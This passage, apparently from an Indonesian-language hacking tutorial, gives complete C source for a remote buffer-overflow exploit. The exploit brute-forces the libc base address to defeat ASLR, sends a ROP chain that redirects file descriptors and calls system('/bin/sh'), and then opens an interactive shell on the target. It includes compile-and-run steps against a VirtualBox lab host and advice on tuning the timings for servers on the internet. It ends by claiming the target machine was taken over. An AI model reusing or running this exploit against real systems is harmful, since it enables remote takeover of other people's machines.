        pthread_create(&threads[i], NULL, brute_worker, &ids[i]);
    }

    for (int i = 0; i < THREAD_COUNT; i++) pthread_join(threads[i], NULL);
    sock = socket(AF_INET, SOCK_STREAM, 0);
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(8888);
    inet_pton(AF_INET, "127.0.0.1", &serv_addr.sin_addr);

    if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
        perror("[-] Koneksi gagal");
        return 1;
    }

    memset(payload, 'A', 80);
    memset(payload + 80, 'B', 8);

    unsigned long *rop = (unsigned long *)(payload + 88);
    int i = 0;

    rop[i++] = base_libc + POP_RDI;
    rop[i++] = fd;
    rop[i++] = base_libc + POP_RSI;
    rop[i++] = 0;
    rop[i++] = base_libc + DUP2_ADDR;

    rop[i++] = base_libc + POP_RDI;
    rop[i++] = fd;
    rop[i++] = base_libc + POP_RSI;
    rop[i++] = 1;
    rop[i++] = base_libc + DUP2_ADDR;

    rop[i++] = base_libc + RET_ALIGN;
```

```
    rop[i++] = base_libc + POP_RDI;
    rop[i++] = base_libc + BIN_SH_ADDR;
    rop[i++] = base_libc + SYSTEM_ADDR;

    memset(payload + 88 + (i * 8), 'C', 32);

    printf("[*] Sending Payload...\n");
    send(sock, payload, 88 + (i * 8) + 32, 0);
    printf("[*] Payload sent ! \n");

    interactive_shell(sock);

    close(sock);
    return 0;
}
```

Compile :

gcc -o exploit3 exploit3.c

Jalankan :

./exploit3

Hasilnya :

Di virtualbox lubuntu compile dan jalankan vuln.c :

gcc -o vuln vuln.c -fno-stack-protector

Kondisi aslr aktif :

cat /proc/sys/kernel/randomize_va_space

2

Ok setelah berhasil di lokal saatnya menguji di target linux lubuntu 24.04.3 di virtualbox dengan ip 192.168.56.102.

Karena di sini kita hanya ingin membuktikan kalau teknik ini mungkin dilakukan (walaupun sebenarnya akan butuh waktu berhari hari jika ingin menebak secara keseluruhan pada range alamat memori yang biasanya digunakan untuk libc di linux 64 bit hingga mendapatkan alamat base libc yang valid), saya mencontek dari kondisi di virtualbox, vuln menggunakan base libc :

0x725a51400000

Kembali buka https://www.rapidtables.com/calc/math/hex-calculator.html

kurangi alamat tersebut dengan 200 hexa.

Kita konversi agar masuk range alamat libc dengan mengubah 3 byte di akhir menjadi 0 :

0x725A513FF000

Kita modif start_addr pada exploit3.c, sehingga exploit3 menjadi :

uint64_t start_addr = 0x725A513FF000;

Buat file baru dengan nama exploit3_remote.c :

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
#define POP_RDI        0x10f78b
#define POP_RSI        0x110a7d
#define DUP2_ADDR      0x116990
#define SYSTEM_ADDR    0x058750
```

```
#define BIN_SH_ADDR    0x1cb42f
#define RET_ALIGN      0x02882f
#define GETCHAR_OFF 0x8f100
#define RET_OFF     0x2882f
#define THREAD_COUNT 2
#define STEP        0x1000

// PASTIKAN BERAKHIR DENGAN 000
uint64_t start_addr = 0x725A513FF000;
uint64_t end_addr   = 0x7fffffffffff;
unsigned long base_libc = 0;
int found = 0;
pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;

int verify_is_hang(unsigned long base) {
   int sock = socket(AF_INET, SOCK_STREAM, 0);
   struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(8888) };
   inet_pton(AF_INET, "192.168.56.102", &addr.sin_addr);

   if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) return 0;

   struct timeval tv = {0, 500000};
   setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));

   char payload[120];
   memset(payload, 'A', 88);
   unsigned long r = base + RET_OFF;
   unsigned long g = base + GETCHAR_OFF;
   memcpy(payload + 88, &r, 8);
   memcpy(payload + 96, &g, 8);
   send(sock, payload, 104, 0);
   usleep(50000);
   char dummy;
   int n = recv(sock, &dummy, 1, 0);
   close(sock);

   return (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK));
}

void* brute_worker(void* arg) {
   int thread_id = *(int*)arg;
   unsigned long current;

   for (current = start_addr + (thread_id * STEP); current < end_addr; current += (STEP *
THREAD_COUNT)) {
       pthread_mutex_lock(&lock);
       if (found) { pthread_mutex_unlock(&lock); return NULL; }
       pthread_mutex_unlock(&lock);
```

```
        int sock = socket(AF_INET, SOCK_STREAM, 0);
        struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(8888) };
        inet_pton(AF_INET, "192.168.56.102", &addr.sin_addr);

        struct timeval tv = {0, 100000};
        setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));

        if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
            char payload[120];
            memset(payload, 'A', 88);
            unsigned long r = current + RET_OFF;
            unsigned long g = current + GETCHAR_OFF;
            memcpy(payload + 88, &r, 8);
            memcpy(payload + 96, &g, 8);

            send(sock, payload, 104, 0);
            usleep(50000);

            char dummy;
            int n = recv(sock, &dummy, 1, 0);

            if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
                if (verify_is_hang(current)) {
                    pthread_mutex_lock(&lock);
                    if (!found) {
                        found = 1;
                        printf("\n\n[+] LIBC BASE FOUND: 0x%lx\n", current);
                        base_libc = current;
                    }
                    pthread_mutex_unlock(&lock);
                    close(sock);
                    return NULL;
                }
            }
        }
        close(sock);

        if (thread_id == 0 && (current % 0x10000 == 0)) {
            printf("\r[*] Scanning: 0x%lx", current);
            fflush(stdout);
        }
    }
    return NULL;
}

void interactive_shell(int sock) {
    char buffer[1024];
    fd_set fds;
    while (1) {
```

```
        FD_ZERO(&fds);
        FD_SET(0, &fds);
        FD_SET(sock, &fds);
        select(sock + 1, &fds, NULL, NULL, NULL);
        if (FD_ISSET(0, &fds)) {
            int n = read(0, buffer, sizeof(buffer));
            send(sock, buffer, n, 0);
        }
        if (FD_ISSET(sock, &fds)) {
            int n = recv(sock, buffer, sizeof(buffer), 0);
            if (n <= 0) break;
            write(1, buffer, n);
        }
    }
}

int main() {
    int sock;
    struct sockaddr_in serv_addr;
    unsigned char payload[512];
    int fd = 4;
    signal(SIGPIPE, SIG_IGN);
    pthread_t threads[THREAD_COUNT];
    int ids[THREAD_COUNT];

    for (int i = 0; i < THREAD_COUNT; i++) {
        ids[i] = i;
        pthread_create(&threads[i], NULL, brute_worker, &ids[i]);
    }

    for (int i = 0; i < THREAD_COUNT; i++) pthread_join(threads[i], NULL);
    sock = socket(AF_INET, SOCK_STREAM, 0);
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(8888);
    inet_pton(AF_INET, "192.168.56.102", &serv_addr.sin_addr);

    if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
        perror("[-] Koneksi gagal");
        return 1;
    }

    memset(payload, 'A', 80);
    memset(payload + 80, 'B', 8);

    unsigned long *rop = (unsigned long *)(payload + 88);
    int i = 0;

    rop[i++] = base_libc + POP_RDI;
    rop[i++] = fd;
```

```
    rop[i++] = base_libc + POP_RSI;
    rop[i++] = 0;
    rop[i++] = base_libc + DUP2_ADDR;

    rop[i++] = base_libc + POP_RDI;
    rop[i++] = fd;
    rop[i++] = base_libc + POP_RSI;
    rop[i++] = 1;
    rop[i++] = base_libc + DUP2_ADDR;

    rop[i++] = base_libc + RET_ALIGN;
    rop[i++] = base_libc + POP_RDI;
    rop[i++] = base_libc + BIN_SH_ADDR;
    rop[i++] = base_libc + SYSTEM_ADDR;

    memset(payload + 88 + (i * 8), 'C', 32);

    printf("[*] Sending Payload...\n");
    send(sock, payload, 88 + (i * 8) + 32, 0);
    printf("[*] Payload sent ! \n");

    interactive_shell(sock);

    close(sock);
    return 0;
}
```

Karena ini targetnya virtualbox (LAN) maka kita harus menaikkan usleep agar lebih akurat saat penebakan :

Pada fungsi verify_is_hang :
usleep(50000);

dan pada fungsi brute_worker juga harus dinaikkan :
usleep(50000);

Dan jumlah thread dikurangi menjadi 3.
#define THREAD_COUNT 3

Jika target adalah server di internet maka perlu disesuaikan agar usleep lebih lama.

Simpan dengan nama exploit3_remote.c

lalu compile dan jalankan :

gcc -o exploit3_remote exploit3_remote.c

./exploit3_remote

Hasilnya kita berhasil take over mesin target :